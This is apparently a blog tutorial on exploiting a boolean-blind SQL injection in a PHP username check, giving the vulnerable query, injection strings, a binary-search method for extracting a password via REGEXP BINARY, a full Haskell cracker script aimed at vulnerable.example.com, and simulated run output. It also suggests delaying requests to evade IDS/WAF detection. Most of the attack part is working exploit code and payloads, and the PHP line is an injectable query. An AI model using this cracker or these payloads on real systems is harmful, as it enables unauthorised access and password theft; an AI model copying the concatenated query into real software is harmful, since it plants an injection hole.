Exploiting information leaks in SQL injection

In some cases a SQL injection doesn't result in a trivial exploit. Instead of a direct hack, there could be an information leak vulnerability. Here's an example of a vulnerable application and an efficient attack on the information leak.

The page will only present exists/does not exist which makes direct exposure of information challenging. However, it has a SQL injection flaw that allows arbitrary clauses to be added to the SELECT statement.

The vulnerable PHP code looks like this:

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 

This is a fun statement as it allows arbitrary SQL injection. For example if we supply " OR ""=" the resulting query is SELECT * from users where username="" OR ""="" and it will show "user exists."  This isn't terribly interesting as OR ""="" will force all rows to be returned and the page only checks for more than 0 and says "user exists."

If instead we use AND ""=" we can inject arbitrary SQL.  For example we can enter targetusername" AND ""=" get to SELECT * from users where username="targetusername" AND ""="" which if the page shows "user exists" conclusively tells us thattargetusername exists.  Using the arbitrary SQL injection we can test arbitrary properties of the password of targetusername.  If you enter targetusername" AND LENGTH(password) = 32 AND ""=" into the username field and submit it.  Now we know the password is 32 characters long (like all of the others so far).

Chances are good that the password is also alphanumeric, but why not check.  Supply targetusername" AND password REGEXP BINARY '^[a-zA-Z0-9]{32}$' AND ""=" in the username field it returns "user exists" so it is indeed a 32-character alphanumeric password.  Why REGEXP BINARY and not just REGEXP.  I got burned by this.  REGEXP is case-insensitive and the passwords are case sensitive so my crack would yield a lowercase version of the password which is unusable.

We can do better than this, and compellingly given our access to REGEXP BINARY we can do a binary search for the correct value of each character.  A brute force approach would take up to 1,984 HTTP requests (62 attempts per character worst case, 32 character password).  The binary search approach is achievable within 191 HTTP requests (log2 62 attempts per character worst case, 32 character password). In practice it works out to 6 HTTP requests per character.

The mechanism is to start from the full alphanumeric character set and halve the space on each iteration. It checks the first half of the space. If it results in "user exists" it checks the first half of the first half. If not, it checks the first half of the second half. Eventually this gets to a single character first half match which is either the password character on "user exists", otherwise the second half is the password character. Lather, rinse, and repeat until the entire password is cracked.

Binary search is a dramatic improvement and against a real system could be made to evade IDS/IPS/WAF burst detection by delaying requests.  A good IDS/IPS/WAF would squash this attack with SQL injection detection, but the backing code should always be written assuming no intermediate defences.  The entire process takes about a minute, but depends heavily on the load on the target system.  The brute force crackers I tried take around 10 minutes and encountered some issues with timeouts and failures.  I don't handle timeouts or unavailability situations and probably should, but haven't seen them affect this cracker in practice.

Here is a working proof of concept cracker that exploits this information leak and SQL injection (install Haskell Stack to run it):

#!/usr/bin/env stack
-- stack --install-ghc --resolver lts-6.1 runghc --package text --package wreq
{-# LANGUAGE OverloadedStrings #-}
import           Control.Lens
import qualified Data.ByteString.Char8 as S8
import qualified Data.ByteString.Lazy.Char8 as L8
import qualified Data.Text as T
import qualified Data.Text.IO as T
import qualified Data.Text.Encoding as T
import           Network.Wreq

main :: IO ()
main = do
  t <- crackEach [] 31
  T.putStrLn $ T.concat t

crackEach :: [T.Text] -> Int -> IO [T.Text]
crackEach ts (-1) = return ts
crackEach ts n = do
  cracked <- crack n False "" $ partitionCharClass startCharClass
  T.putStrLn cracked
  crackEach (cracked:ts) $ n - 1

crack :: Int -> Bool -> T.Text -> (T.Text, T.Text) -> IO T.Text
crack _ True x ("", _) = return x
crack _ True x (_, "") = return x
crack _ _ _ ("", y) = return y
crack _ _ _ (x, "") = return x
crack n _ _ (x, y) = do
  passwordMatches <- doPasswordMatches n x
  if passwordMatches
  then do
    crack n True x $ partitionCharClass x
  else do
    crack n False y $ partitionCharClass y

doPasswordMatches :: Int -> T.Text -> IO Bool
doPasswordMatches n x = do
  let v = attackVector n x
  T.putStrLn v
  let opts = defaults & auth ?~ basicAuth "username" "abcdefghijklmnop"
  r <- postWith opts "http://vulnerable.example.com/index.php"
       [ "username" := v ]
  let t = T.decodeUtf8 $ L8.toStrict $ r ^. responseBody
  let tl = T.lines t
  let tx = T.take 17 $ tl !! 13
  T.putStrLn tx
  return $ tx == "This user exists."

startCharClass :: T.Text
startCharClass = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

partitionCharClass :: T.Text -> (T.Text, T.Text)
partitionCharClass x = T.splitAt (charClassLength `mod` 2 +
                                  charClassLength `div` 2) x
  where charClassLength = T.length x

attackVector :: Int -> T.Text -> T.Text
attackVector n x = T.concat
  [ "targetusername\" AND password REGEXP BINARY '^"
  , T.replicate n "."
  , "["
  , x
  , "].*' AND \"\"=\""
  ]

testCharClass :: (T.Text, T.Text) -> Bool
testCharClass (l, r) = undefined

Running the program and seeing the output looks like this (simulated output to not give away the password):

$ ./cracker.hs
targetusername" AND password REGEXP BINARY '^..............................[abcdefghijklmnopqrstuvwxyzABCDE].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^..............................[abcdefghijklmnop].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^..............................[abcdefgh].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^..............................[ijkl].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^..............................[mn].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^..............................[m].*' AND ""="
This user exists.
m
targetusername" AND password REGEXP BINARY '^.........................[abcdefghijklmnopqrstuvwxyzABCDE].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^.........................[FGHIJKLMNOPQRSTU].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^.........................[VWXYZ012].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^.........................[VWXY].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^.........................[Z0].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^.........................[Z].*' AND ""="
This user doesn't
0
targetusername" AND password REGEXP BINARY '^...................[abcdefghijklmnopqrstuvwxyzABCDE].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^...................[abcdefghijklmnop].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^...................[qrstuvwx].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^...................[qrst].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^...................[qr].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^...................[q].*' AND ""="
This user exists.
q
targetusername" AND password REGEXP BINARY '^............[abcdefghijklmnopqrstuvwxyzABCDE].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^............[FGHIJKLMNOPQRSTU].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^............[FGHIJKLM].*' AND ""="
This user doesn't
targetusername" AND password REGEXP BINARY '^............[NOPQ].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^............[NO].*' AND ""="
This user exists.
targetusername" AND password REGEXP BINARY '^............[N].*' AND ""="
This user exists.
N
...
<entire password printed on close>